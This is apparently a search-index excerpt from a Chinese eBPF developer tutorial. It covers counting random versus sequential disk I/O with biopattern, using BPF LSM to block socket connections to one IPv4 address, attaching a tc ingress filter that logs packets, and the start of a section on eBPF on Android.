maps，并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子，帮助您理解 eBPF 代码的运行流程和原理。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF，以解决实际工作中遇到的问题。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 总结","id":"110","title":"总结"},"111":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一种新技术，允许用户在内核空间中执行自定义程序，而无需更改内核代码。这为系统管理员和开发者提供了强大的工具，可以深入了解和监控系统的行为，从而进行优化。 在本篇教程中，我们将探索如何使用 eBPF 编写程序来统计随机和顺序的磁盘 I/O。磁盘 I/O 是计算机性能的关键指标之一，特别是在数据密集型应用中。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF 入门实践教程十七：编写 eBPF 程序统计随机/顺序磁盘 I/O","id":"111","title":"eBPF 入门实践教程十七：编写 eBPF 程序统计随机/顺序磁盘 I/O"},"112":{"body":"随着技术的进步和数据量的爆炸性增长，磁盘 I/O 成为了系统性能的关键瓶颈。应用程序的性能很大程度上取决于其如何与存储层进行交互。因此，深入了解和优化磁盘 I/O，特别是随机和顺序的 I/O，变得尤为重要。 随机 I/O ：随机 I/O 发生在应用程序从磁盘的非连续位置读取或写入数据时。这种 I/O 模式的主要特点是磁盘头需要频繁地在不同的位置之间移动，导致其通常比顺序 I/O 的速度慢。典型的产生随机 I/O 的场景包括数据库查询、文件系统的元数据操作以及虚拟化环境中的并发任务。 顺序 I/O ：与随机 I/O 相反，顺序 I/O 是当应用程序连续地读取或写入磁盘上的数据块。这种 I/O 模式的优势在于磁盘头可以在一个方向上连续移动，从而大大提高了数据的读写速度。视频播放、大型文件的下载或上传以及连续的日志记录都是产生顺序 I/O 的典型应用。 为了实现存储性能的最优化，了解随机和顺序的磁盘 I/O 是至关重要的。例如，随机 I/O 敏感的应用程序在 SSD 上的性能通常远超于传统硬盘，因为 SSD 在处理随机 I/O 时几乎没有寻址延迟。相反，对于大量顺序 I/O 的应用，如何最大化磁盘的连续读写速度则更为关键。 在本教程的后续部分，我们将详细探讨如何使用 eBPF 工具来实时监控和统计这两种类型的磁盘 I/O。这不仅可以帮助我们更好地理解系统的 I/O 行为，还可以为进一步的性能优化提供有力的数据支持。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 随机/顺序磁盘 I/O","id":"112","title":"随机/顺序磁盘 I/O"},"113":{"body":"Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 首先，确保你已经正确安装了 libbpf 和相关的工具集，可以在这里找到对应的源代码： bpf-developer-tutorial 导航到 biopattern 的源代码目录，并使用 make 命令进行编译： cd ~/bpf-developer-tutorial/src/17-biopattern\nmake 编译成功后，你应该可以在当前目录下看到 biopattern 的可执行文件。基本的运行命令如下： sudo ./biopattern [interval] [count] 例如，要每秒打印一次输出，并持续10秒，你可以运行： $ sudo ./biopattern 1 10\nTracing block device I/O requested seeks... Hit Ctrl-C to end.\nDISK %RND %SEQ COUNT KBYTES\nsr0 0 100 3 0\nsr1 0 100 8 0\nsda 0 100 1 4\nsda 100 0 26 136\nsda 0 100 1 4 输出列的含义如下： DISK：被追踪的磁盘名称。 %RND：随机 I/O 的百分比。 %SEQ：顺序 I/O 的百分比。 COUNT：在指定的时间间隔内的 I/O 请求次数。 KBYTES：在指定的时间间隔内读写的数据量（以 KB 为单位）。 从上述输出中，我们可以得出以下结论： sr0 和 sr1 设备在观测期间主要进行了顺序 I/O，但数据量很小。 sda 设备在某些时间段内只进行了随机 I/O，而在其他时间段内只进行了顺序 I/O。 这些信息可以帮助我们了解系统的 I/O 模式，从而进行针对性的优化。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » Biopattern","id":"113","title":"Biopattern"},"114":{"body":"首先，让我们看一下 biopattern 的核心 eBPF 内核态代码： #include \n#include \n#include \n#include \"biopattern.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" const volatile bool filter_dev = false;\nconst volatile __u32 targ_dev = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, u32); __type(value, struct counter);\n} counters SEC(\".maps\"); SEC(\"tracepoint/block/block_rq_complete\")\nint handle__block_rq_complete(void *args)\n{ struct counter *counterp, zero = {}; sector_t sector; u32 nr_sector; u32 dev; if (has_block_rq_completion()) { struct trace_event_raw_block_rq_completion___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } else { struct trace_event_raw_block_rq_complete___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } if (filter_dev && targ_dev != dev) return 0; counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); if (!counterp) return 0; if (counterp->last_sector) { if (counterp->last_sector == sector) __sync_fetch_and_add(&counterp->sequential, 1); else __sync_fetch_and_add(&counterp->random, 1); __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); } counterp->last_sector = sector + nr_sector; return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 全局变量定义 const volatile bool filter_dev = false; const volatile __u32 targ_dev = 0; 这两个全局变量用于设备过滤。filter_dev 决定是否启用设备过滤，而 targ_dev 是我们想要追踪的目标设备的标识符。 BPF map 定义： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, u32); __type(value, struct counter); } counters SEC(\".maps\"); 这部分代码定义了一个 BPF map，类型为哈希表。该映射的键是设备的标识符，而值是一个 counter 结构体，用于存储设备的 I/O 统计信息。 追踪点函数： SEC(\"tracepoint/block/block_rq_complete\") int handle__block_rq_complete(void *args) { struct counter *counterp, zero = {}; sector_t sector; u32 nr_sector; u32 dev; if (has_block_rq_completion()) { struct trace_event_raw_block_rq_completion___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } else { struct trace_event_raw_block_rq_complete___x *ctx = args; sector = BPF_CORE_READ(ctx, sector); nr_sector = BPF_CORE_READ(ctx, nr_sector); dev = BPF_CORE_READ(ctx, dev); } if (filter_dev && targ_dev != dev) return 0; counterp = bpf_map_lookup_or_try_init(&counters, &dev, &zero); if (!counterp) return 0; if (counterp->last_sector) { if (counterp->last_sector == sector) __sync_fetch_and_add(&counterp->sequential, 1); else __sync_fetch_and_add(&counterp->random, 1); __sync_fetch_and_add(&counterp->bytes, nr_sector * 512); } counterp->last_sector = sector + nr_sector; return 0; } 在 Linux 中，每次块设备的 I/O 请求完成时，都会触发一个名为 block_rq_complete 的追踪点。这为我们提供了一个机会，通过 eBPF 来捕获这些事件，并进一步分析 I/O 的模式。 主要逻辑分析： 提取 I/O 请求信息 ：从传入的参数中获取 I/O 请求的相关信息。这里有两种可能的上下文结构，取决于 has_block_rq_completion 的返回值。这是因为不同版本的 Linux 内核可能会有不同的追踪点定义。无论哪种情况，我们都从上下文中提取出扇区号 (sector)、扇区数量 (nr_sector) 和设备标识符 (dev)。 设备过滤 ：如果启用了设备过滤 (filter_dev 为 true)，并且当前设备不是目标设备 (targ_dev)，则直接返回。这允许用户只追踪特定的设备，而不是所有设备。 统计信息更新 ： - 查找或初始化统计信息 ：使用 bpf_map_lookup_or_try_init 函数查找或初始化与当前设备相关的统计信息。如果映射中没有当前设备的统计信息，它会使用 zero 结构体进行初始化。 - 判断 I/O 模式 ：根据当前 I/O 请求与上一个 I/O 请求的扇区号，我们可以判断当前请求是随机的还是顺序的。如果两次请求的扇区号相同，那么它是顺序的；否则，它是随机的。然后，我们使用 __sync_fetch_and_add 函数更新相应的统计信息。这是一个原子操作，确保在并发环境中数据的一致性。 - 更新数据量 ：我们还更新了该设备的总数据量，这是通过将扇区数量 (nr_sector) 乘以 512（每个扇区的字节数）来实现的。 - 更新最后一个 I/O 请求的扇区号 ：为了下一次的比较，我们更新了 last_sector 的值。 在 Linux 内核的某些版本中，由于引入了一个新的追踪点 block_rq_error，追踪点的命名和结构发生了变化。这意味着，原先的 block_rq_complete 追踪点的结构名称从 trace_event_raw_block_rq_complete 更改为 trace_event_raw_block_rq_completion。这种变化可能会导致 eBPF 程序在不同版本的内核上出现兼容性问题。 为了解决这个问题，biopattern 工具引入了一种机制来动态检测当前内核使用的是哪种追踪点结构，即 has_block_rq_completion 函数。 定义两种追踪点结构 ： struct trace_event_raw_block_rq_complete___x { dev_t dev; sector_t sector; unsigned int nr_sector; } __attribute__((preserve_access_index)); struct trace_event_raw_block_rq_completion___x { dev_t dev; sector_t sector; unsigned int nr_sector; } __attribute__((preserve_access_index)); 这里定义了两种追踪点结构，分别对应于不同版本的内核。每种结构都包含设备标识符 (dev)、扇区号 (sector) 和扇区数量 (nr_sector)。 动态检测追踪点结构 ： static __always_inline bool has_block_rq_completion() { if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x)) return true; return false; } has_block_rq_completion 函数使用 bpf_core_type_exists 函数来检测当前内核是否存在 trace_event_raw_block_rq_completion___x 结构。如果存在，函数返回 true，表示当前内核使用的是新的追踪点结构；否则，返回 false，表示使用的是旧的结构。在对应的 eBPF 代码中，会根据两种不同的定义分别进行处理，这也是适配不同内核版本之间的变更常见的方案。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF Biopattern 实现原理","id":"114","title":"eBPF Biopattern 实现原理"},"115":{"body":"biopattern 工具的用户态代码负责从 BPF 映射中读取统计数据，并将其展示给用户。通过这种方式，系统管理员可以实时监控每个设备的 I/O 模式，从而更好地理解和优化系统的 I/O 性能。 主循环： /* main: poll */ while (1) { sleep(env.interval); err = print_map(obj->maps.counters, partitions); if (err) break; if (exiting || --env.times == 0) break; } 这是 biopattern 工具的主循环，它的工作流程如下： 等待 ：使用 sleep 函数等待指定的时间间隔 (env.interval)。 打印映射 ：调用 print_map 函数打印 BPF 映射中的统计数据。 退出条件 ：如果收到退出信号 (exiting 为 true) 或者达到指定的运行次数 (env.times 达到 0)，则退出循环。 打印映射函数： static int print_map(struct bpf_map *counters, struct partitions *partitions) { __u32 total, lookup_key = -1, next_key; int err, fd = bpf_map__fd(counters); const struct partition *partition; struct counter counter; struct tm *tm; char ts[32]; time_t t; while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { err = bpf_map_lookup_elem(fd, &next_key, &counter); if (err < 0) { fprintf(stderr, \"failed to lookup counters: %d\\n\", err); return -1; } lookup_key = next_key; total = counter.sequential + counter.random; if (!total) continue; if (env.timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%-9s \", ts); } partition = partitions__get_by_dev(partitions, next_key); printf(\"%-7s %5ld %5ld %8d %10lld\\n\", partition ? partition->name : \"Unknown\", counter.random * 100L / total, counter.sequential * 100L / total, total, counter.bytes / 1024); } lookup_key = -1; while (!bpf_map_get_next_key(fd, &lookup_key, &next_key)) { err = bpf_map_delete_elem(fd, &next_key); if (err < 0) { fprintf(stderr, \"failed to cleanup counters: %d\\n\", err); return -1; } lookup_key = next_key; } return 0; } print_map 函数负责从 BPF 映射中读取统计数据，并将其打印到控制台。其主要逻辑如下： 遍历 BPF 映射 ：使用 bpf_map_get_next_key 和 bpf_map_lookup_elem 函数遍历 BPF 映射，获取每个设备的统计数据。 计算总数 ：计算每个设备的随机和顺序 I/O 的总数。 打印统计数据 ：如果启用了时间戳 (env.timestamp 为 true)，则首先打印当前时间。接着，打印设备名称、随机 I/O 的百分比、顺序 I/O 的百分比、总 I/O 数量和总数据量（以 KB 为单位）。 清理 BPF 映射 ：为了下一次的统计，使用 bpf_map_get_next_key 和 bpf_map_delete_elem 函数清理 BPF 映射中的所有条目。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 用户态代码","id":"115","title":"用户态代码"},"116":{"body":"在本教程中，我们深入探讨了如何使用 eBPF 工具 biopattern 来实时监控和统计随机和顺序的磁盘 I/O。我们首先了解了随机和顺序磁盘 I/O 的重要性，以及它们对系统性能的影响。接着，我们详细介绍了 biopattern 的工作原理，包括如何定义和使用 BPF maps，如何处理不同版本的 Linux 内核中的追踪点变化，以及如何在 eBPF 程序中捕获和分析磁盘 I/O 事件。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。 完整代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/17-biopattern bcc 工具： https://github.com/iovisor/bcc/blob/master/libbpf-tools/biopattern.c","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 总结","id":"116","title":"总结"},"117":{"body":"可以在这里找到更多关于 eBPF 的信息： https://github.com/zoidbergwill/awesome-ebpf https://ebpf.io/","breadcrumbs":"更多的参考资料 » 更多的参考资料","id":"117","title":"更多的参考资料"},"118":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此，本文将介绍如何使用 eBPF LSM（Linux Security Modules）机制实现一个简单的安全检查程序。","breadcrumbs":"使用 LSM 进行安全检测防御 » eBPF 入门实践教程：使用 LSM 进行安全检测防御","id":"118","title":"eBPF 入门实践教程：使用 LSM 进行安全检测防御"},"119":{"body":"LSM 从 Linux 2.6 开始成为官方内核的一个安全框架，基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后，系统开发人员已经能够自由地实现函数粒度的安全检查能力，本文就提供了这样一个案例：限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。（可见其控制精度是很高的）","breadcrumbs":"使用 LSM 进行安全检测防御 » 背景","id":"119","title":"背景"},"12":{"body":"eBPF 介绍： https://ebpf.io/ BPF Compiler Collection (BCC)： https://github.com/iovisor/bcc eunomia-bpf： https://github.com/eunomia-bpf/eunomia-bpf 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程源代码。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 参考资料","id":"12","title":"参考资料"},"120":{"body":"LSM（Linux Security Modules）是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点，从而实现了内核和安全模块的解耦，使不同的安全模块可以自由地在内核中加载/卸载，无需修改原有的内核代码就可以加入安全检查功能。 在过去，使用 LSM 主要通过配置已有的安全模块（如 SELinux 和 AppArmor）或编写自己的内核模块；而在 Linux 5.7 引入 BPF LSM 机制后，一切都变得不同了：现在，开发人员可以通过 eBPF 编写自定义的安全策略，并将其动态加载到内核中的 LSM 挂载点，而无需配置或编写内核模块。 现在 LSM 支持的 hook 点包括但不限于： 对文件的打开、创建、删除和移动等； 文件系统的挂载； 对 task 和 process 的操作； 对 socket 的操作（创建、绑定 socket，发送和接收消息等）； 更多 hook 点可以参考 lsm_hooks.h 。","breadcrumbs":"使用 LSM 进行安全检测防御 » LSM 概述","id":"120","title":"LSM 概述"},"121":{"body":"首先，请确认内核版本高于 5.7。接下来，可以通过 $ cat /boot/config-$(uname -r) | grep BPF_LSM\nCONFIG_BPF_LSM=y 判断是否内核是否支持 BPF LSM。上述条件都满足的情况下，可以通过 $ cat /sys/kernel/security/lsm\nndlock,lockdown,yama,integrity,apparmor 查看输出是否包含 bpf 选项，如果输出不包含（像上面的例子），可以通过修改 /etc/default/grub： GRUB_CMDLINE_LINUX=\"lsm=ndlock,lockdown,yama,integrity,apparmor,bpf\" 并通过 update-grub2 命令更新 grub 配置（不同系统的对应命令可能不同），然后重启系统。","breadcrumbs":"使用 LSM 进行安全检测防御 » 确认 BPF LSM 是否可用","id":"121","title":"确认 BPF LSM 是否可用"},"122":{"body":"// lsm-connect.bpf.c\n#include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"GPL\"; #define EPERM 1\n#define AF_INET 2 const __u32 blockme = 16843009; // 1.1.1.1 -> int SEC(\"lsm/socket_connect\")\nint BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)\n{ // Satisfying \"cannot override a denial\" rule if (ret != 0) { return ret; } // Only IPv4 in this example if (address->sa_family != AF_INET) { return 0; } // Cast the address to an IPv4 socket address struct sockaddr_in *addr = (struct sockaddr_in *)address; // Where do you want to go? __u32 dest = addr->sin_addr.s_addr; bpf_printk(\"lsm: found connect to %d\", dest); if (dest == blockme) { bpf_printk(\"lsm: blocking %d\", dest); return -EPERM; } return 0;\n} 这是一段 C 实现的 eBPF 内核侧代码，它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作，其中： SEC(\"lsm/socket_connect\") 宏指出该程序期望的挂载点； 程序通过 BPF_PROG 宏定义（详情可查看 tools/lib/bpf/bpf_tracing.h ）； restrict_connect 是 BPF_PROG 宏要求的程序名； ret 是该挂载点上（潜在的）当前函数之前的 LSM 检查程序的返回值； 整个程序的思路不难理解： 首先，若其他安全检查函数返回值不为 0（不通过），则无需检查，直接返回不通过； 接下来，判断是否为 IPV4 的连接请求，并比较试图连接的地址是否为 1.1.1.1； 若请求地址为 1.1.1.1 则拒绝连接，否则允许连接； 在程序运行期间，所有通过 socket 的连接操作都会被输出到 /sys/kernel/debug/tracing/trace_pipe。","breadcrumbs":"使用 LSM 进行安全检测防御 » 编写 eBPF 程序","id":"122","title":"编写 eBPF 程序"},"123":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc lsm-connect.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run package.json 接下来，可以打开另一个 terminal，并尝试访问 1.1.1.1： $ ping 1.1.1.1\nping: connect: Operation not permitted\n$ curl 1.1.1.1\ncurl: (7) Couldn't connect to server\n$ wget 1.1.1.1\n--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/\nConnecting to 1.1.1.1:80... failed: Operation not permitted.\nRetrying. 同时，我们可以查看 bpf_printk 的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect","breadcrumbs":"使用 LSM 进行安全检测防御 » 编译运行","id":"123","title":"编译运行"},"124":{"body":"本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中，我们通过 BPF_PROG 宏定义函数，并通过 SEC 宏指定挂载点；在函数实现上，遵循 LSM 安全检查模块中 \"cannot override a denial\" 的原则，并根据 socket 连接请求的目的地址对该请求进行限制。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 LSM 进行安全检测防御 » 总结","id":"124","title":"总结"},"125":{"body":"https://github.com/leodido/demo-cloud-native-ebpf-day https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program","breadcrumbs":"使用 LSM 进行安全检测防御 » 参考","id":"125","title":"参考"},"126":{"body":"","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制","id":"126","title":"eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制"},"127":{"body":"Linux 的流量控制子系统（Traffic Control, tc）在内核中存在了多年，类似于 iptables 和 netfilter 的关系，tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架，主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始，tc 增加了一些新的挂载点，并支持将 eBPF 程序作为 filter 加载到这些挂载点上。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 背景","id":"127","title":"背景"},"128":{"body":"从协议栈上看，tc 位于链路层，其所在位置已经完成了 sk_buff 的分配，要晚于 xdp。为了实现对数据包发送和接收的控制，tc 使用队列结构来临时保存并组织数据包，在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc（Queueing discipline），其对外暴露数据包入队和出队的两个回调接口，并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构，其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑，返回值决定了该数据包是否属于特定 class。 当数据包到达顶层 qdisc 时，其入队接口被调用，其上挂载的 filter 被依次执行直到一个 filter 匹配成功；此后数据包被送入该 filter 指向的 class，进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制，即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理，实现了完整的数据包分类和处理机制。 现有的 tc 为 eBPF 提供了 direct-action 模式，它使得一个作为 filter 加载的 eBPF 程序可以返回像 TC_ACT_OK 等 tc action 的返回值，而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在，eBPF 程序可以被挂载到特定的 qdisc 上，并完成对数据包的分类和处理动作。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » tc 概述","id":"128","title":"tc 概述"},"129":{"body":"#include \n#include \n#include \n#include  #define TC_ACT_OK 0\n#define ETH_P_IP 0x0800 /* Internet Protocol packet */ /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1}\nSEC(\"tc\")\nint tc_ingress(struct __sk_buff *ctx)\n{ void *data_end = (void *)(__u64)ctx->data_end; void *data = (void *)(__u64)ctx->data; struct ethhdr *l2; struct iphdr *l3; if (ctx->protocol != bpf_htons(ETH_P_IP)) return TC_ACT_OK; l2 = data; if ((void *)(l2 + 1) > data_end) return TC_ACT_OK; l3 = (struct iphdr *)(l2 + 1); if ((void *)(l3 + 1) > data_end) return TC_ACT_OK; bpf_printk(\"Got IP packet: tot_len: %d, ttl: %d\", bpf_ntohs(l3->tot_len), l3->ttl); return TC_ACT_OK;\n} char __license[] SEC(\"license\") = \"GPL\"; 这段代码定义了一个 eBPF 程序，它可以通过 Linux TC（Transmission Control）来捕获数据包并进行处理。在这个程序中，我们限定了只捕获 IPv4 协议的数据包，然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live（TTL）字段的值。 需要注意的是，我们在代码中使用了一些 BPF 库函数，例如 bpf_htons 和 bpf_ntohs 函数，它们用于进行网络字节序和主机字节序之间的转换。此外，我们还使用了一些注释来为 TC 提供附加点和选项信息。例如，在这段代码的开头，我们使用了以下注释： /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1} 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点，并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 patchwork 中的介绍。 总之，这段代码实现了一个简单的 eBPF 程序，用于捕获数据包并打印出它们的信息。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编写 eBPF 程序","id":"129","title":"编写 eBPF 程序"},"13":{"body":"在本篇博客中，我们将深入探讨eBPF（Extended Berkeley Packet Filter）的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具，它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 本文是eBPF入门开发实践教程的第二篇，我们将重点关注如何编写一个简单的eBPF程序，并通过实际例子演示整个开发流程。在阅读本教程之前，建议您先学习第一篇教程，以便对eBPF的基本概念有个大致的了解。 在开发eBPF程序时，有多种开发框架可供选择，如 BCC（BPF Compiler Collection）libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异，但它们的基本开发流程大致相同。在接下来的内容中，我们将深入了解这些流程，并以 Hello World 程序为例，带领读者逐步掌握eBPF开发的基本技巧。 本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程，您将掌握eBPF开发的基本知识，并为后续进一步学习和实践奠定坚实的基础。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 入门开发实践教程一：Hello World，基本框架和开发流程","id":"13","title":"eBPF 入门开发实践教程一：Hello World，基本框架和开发流程"},"130":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc tc.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run ./package.json 可以通过如下方式查看程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编译运行","id":"130","title":"编译运行"},"131":{"body":"本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案，我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备，并借助内核的 sk_buff 结构对数据包进行过滤处理。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 总结","id":"131","title":"总结"},"132":{"body":"http://just4coding.com/2022/08/05/tc/ https://arthurchiao.art/blog/understanding-tc-da-mode-zh/","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 参考","id":"132","title":"参考"},"133":{"body":"本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 测试采用的方式是在 Android Shell 环境下构建 Debian 环境，并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 在 Andorid 上使用 eBPF 程序","id":"133","title":"在 Andorid 上使用 eBPF 程序"},"134":{"body":"截至目前（2023-04），Android 还未对 eBPF 程序的动态加载做出较好的支持，无论是以 bcc 为代表的带编译器分发方案，还是基于 btf 和 libbpf 的 CO-RE 方案，都在较大程度上离不开 Linux 环境的支持，无法在 Android 系统上很好地运行 [1] 。 虽然如此，在 Android 平台上尝试 eBPF 也已经有了一些成功案例，除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案 [2] ，也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路，并开发了相关工具。 目前已有的资料，大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱，并对 bcc 和 bpftrace 相关工具链进行测试，而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料，如： SeeFlowerX： https://blog.seeflower.dev/category/eBPF/ evilpan： https://bbs.kanxue.com/thread-271043.htm 其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像，并在其中构建整个 bcc 工具链，从而使用 eBPF 工具。如果想要使用 bpftrace，原理也是类似的。 事实上，高版本的 Android 内核已支持 btf 选项，这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目，旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式，其核心依赖是 libbpf，相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 背景","id":"134","title":"背景"},"135":{"body":"Android Emulator（Android Studio Flamingo | 2022.2.1） AVD: Pixel 6 Android Image: Tiramisu Android 13.0 x86_64（5.15.41-android13-8-00055-g4f5025129fe8-ab8949913）","breadcrumbs":"在 Android 上使用 eBPF 程序 » 测试环境","id":"135","title":"测试环境"},"136":{"body":"[3] 从 eadb 仓库 的 releases 页面获取 debianfs-amd64-full.tar.gz 作为 Linux 